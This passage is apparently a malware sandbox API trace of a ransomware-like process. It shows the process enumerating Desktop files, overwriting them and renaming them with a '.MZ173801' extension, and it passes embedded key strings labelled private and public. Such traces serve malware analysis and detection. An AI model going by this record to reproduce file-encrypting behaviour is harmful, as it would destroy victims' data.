lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x4778, lpOverlapped=0x0) returned 1 [0176.856] CloseHandle (hObject=0x328) returned 1 [0176.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.858] WriteFile (in: hFile=0x328, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x4778, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19fa24*=0x4778, lpOverlapped=0x0) returned 1 [0176.860] CloseHandle (hObject=0x328) returned 1 [0176.860] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\VLgSOuECDd_LaP.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\vlgsouecdd_lap.jpg.mz173801")) returned 1 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] GetCurrentThreadId () returned 0xab4 [0176.861] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8abb710, ftCreationTime.dwHighDateTime=0x1d5e81d, ftLastAccessTime.dwLowDateTime=0xa93545b0, ftLastAccessTime.dwHighDateTime=0x1d5e59b, ftLastWriteTime.dwLowDateTime=0xa93545b0, ftLastWriteTime.dwHighDateTime=0x1d5e59b, nFileSizeHigh=0x0, nFileSizeLow=0x2c9d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="W8V9x-I5M8DNxGO4p7hs.mp3", cAlternateFileName="W8V9X-~1.MP3")) returned 1 [0176.862] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.862] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.862] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8abb710, ftCreationTime.dwHighDateTime=0x1d5e81d, ftLastAccessTime.dwLowDateTime=0xa93545b0, ftLastAccessTime.dwHighDateTime=0x1d5e59b, ftLastWriteTime.dwLowDateTime=0xa93545b0, ftLastWriteTime.dwHighDateTime=0x1d5e59b, nFileSizeHigh=0x0, nFileSizeLow=0x2c9d)) returned 1 [0176.862] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3")) returned 0x20 [0176.862] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3", dwFileAttributes=0x80) returned 1 [0176.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.864] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.865] GetCurrentThreadId () returned 0xab4 [0176.865] GetCurrentThreadId () returned 0xab4 [0176.865] GetCurrentThreadId () returned 0xab4 [0176.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.866] GetCurrentThreadId () returned 0xab4 [0176.866] GetCurrentThreadId () returned 0xab4 [0176.866] GetCurrentThreadId () returned 0xab4 [0176.866] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.867] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.867] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.867] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2c9d [0176.867] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.867] ReadFile (in: hFile=0x328, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x2c9d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19fa18*=0x2c9d, lpOverlapped=0x0) returned 1 [0176.868] CloseHandle (hObject=0x328) returned 1 [0176.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.870] WriteFile (in: hFile=0x328, lpBuffer=0x24abe70*, nNumberOfBytesToWrite=0x2c9d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24abe70*, lpNumberOfBytesWritten=0x19fa24*=0x2c9d, lpOverlapped=0x0) returned 1 [0176.871] CloseHandle (hObject=0x328) returned 1 [0176.871] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\W8V9x-I5M8DNxGO4p7hs.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\w8v9x-i5m8dnxgo4p7hs.mp3.mz173801")) returned 1 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] GetCurrentThreadId () returned 0xab4 [0176.872] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b20dec0, ftCreationTime.dwHighDateTime=0x1d5e12b, ftLastAccessTime.dwLowDateTime=0xab80c5d0, ftLastAccessTime.dwHighDateTime=0x1d5e3fa, ftLastWriteTime.dwLowDateTime=0xab80c5d0, ftLastWriteTime.dwHighDateTime=0x1d5e3fa, nFileSizeHigh=0x0, nFileSizeLow=0x98c6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wsBv9esj.jpg", cAlternateFileName="")) returned 1 [0176.872] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.872] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.872] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b20dec0, ftCreationTime.dwHighDateTime=0x1d5e12b, ftLastAccessTime.dwLowDateTime=0xab80c5d0, ftLastAccessTime.dwHighDateTime=0x1d5e3fa, ftLastWriteTime.dwLowDateTime=0xab80c5d0, ftLastWriteTime.dwHighDateTime=0x1d5e3fa, nFileSizeHigh=0x0, nFileSizeLow=0x98c6)) returned 1 [0176.872] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\wsbv9esj.jpg")) returned 0x20 [0176.873] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\wsBv9esj.jpg", dwFileAttributes=0x80) returned 1 [0176.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrs